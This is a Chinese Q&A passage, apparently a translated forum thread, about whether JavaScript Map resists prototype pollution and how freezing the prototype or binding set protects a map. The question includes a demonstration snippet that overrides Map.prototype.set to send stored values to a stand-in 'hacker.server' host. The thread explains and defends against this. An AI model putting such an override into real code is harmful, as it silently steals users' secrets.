关于 JavaScript 的安全性
Maps
,存在这样的说法:
Map 原语是在 ES6 中引入的。 Map数据结构存储键/值对,不易受到原型污染。 [1]
它本质上是一个 HashMap,但没有
所具有的所有安全警告。当需要键/值结构时,Object
应优先于Map
。 [2]Object
事实上,您可以使用传统技术替换
Map's
功能,从而影响当前和未来的所有实例:
const myMap = new Map();
// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
const img = new Image();
img.src = 'https://hacker.server/?' + JSON.stringify(value);
return oldSet.call(this, key, value);
};
// Your data is now stolen
myMap.set('password', 'hunter2');
大概,这些作者所说的“不易受到原型污染”的意思仅限于这样一个事实:这种类型的注入攻击不适用于
Map
:
const myMap = new Map();
myMap.set('__proto__', {isAdmin: true});
myMap.get('isAdmin'); // undefined
...与处理对象的方式相同:
const obj = {};
obj['__proto__'] = {isAdmin: true};
obj.isAdmin; // true
正确吗?
他们的意思是访问
Map
元素不会搜索原型。如果您询问某个名称是否存在,如果该名称与原型中的某些内容匹配,则不会得到误报,并且应用程序使用的元素名称与语言提供的名称之间不存在冲突。
比较:
let prop = 'constructor';
const myObj = {};
console.log(myObj[prop]);
与
let prop = 'constructor';
const myMap = new Map();
console.log(myMap.get(prop));
使用对象时,必须使用
hasOwnProperty()
这样的方法来区分对象的属性和从原型继承的属性。这就是为什么循环对象属性的建议是这样的:
for (var key in p) {
if (p.hasOwnProperty(key)) {
console.log(key + " -> " + p[key]);
}
}
(请注意,使用
Object.keys()
也可以缓解这个问题。)
这也意味着您不能创建与从原型继承的属性冲突的自己的属性(除非您故意想要覆盖它们)。
请注意,在 ES6 中,对象自省的新函数作为普通函数添加到
Object
对象中,而不是作为原型方法。这就是为什么我们有 Object.entries()
而不是 Object.prototype.entries()
——他们不想创建新的冲突原型属性。
什么是原型污染?原型污染是一个漏洞 使威胁行为者能够利用 JavaScript 运行时。
如果我们在这里讨论安全性,因为
Object
是 Javascript 中几乎所有内容的根源,你不能 freeze
它,否则几乎所有内容都会崩溃。
但是你可以冻结
Map
的原型,它会继续运行。
Object.freeze(myMap.__proto__);
当然,上面的方法可能仍然太粗略,所以如果您只想冻结单个
Map
来存储用户名/密码等敏感信息,您可以将 set
方法复制到您的地图上,然后冻结它。 IOW:让myMap
更安全。因此,最近更新的不良 NPM 模块最终不会使您的应用程序受到损害。
例如。运行下面的代码,注意
stolen
没有记录 myMap
,而是记录从未获得安全保护的 Map
。
const myMap = new Map();
myMap.set = Map.prototype.set.bind(myMap);
Object.freeze(myMap);
//Object.freeze above might not make any
//difference here, but it's still a good
//idea to freeze, in case you pass
//the Map to a 3rd party lib.
// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
// Your data is now stolen
console.log(`stolen ${key}:${value}`);
return oldSet.call(this, key, value);
};
console.log('using secure myMap');
myMap.set('password', 'hunter2');
const notSecure = new Map();
console.log('using insecure Map');
notSecure.set('password', 'hunter2');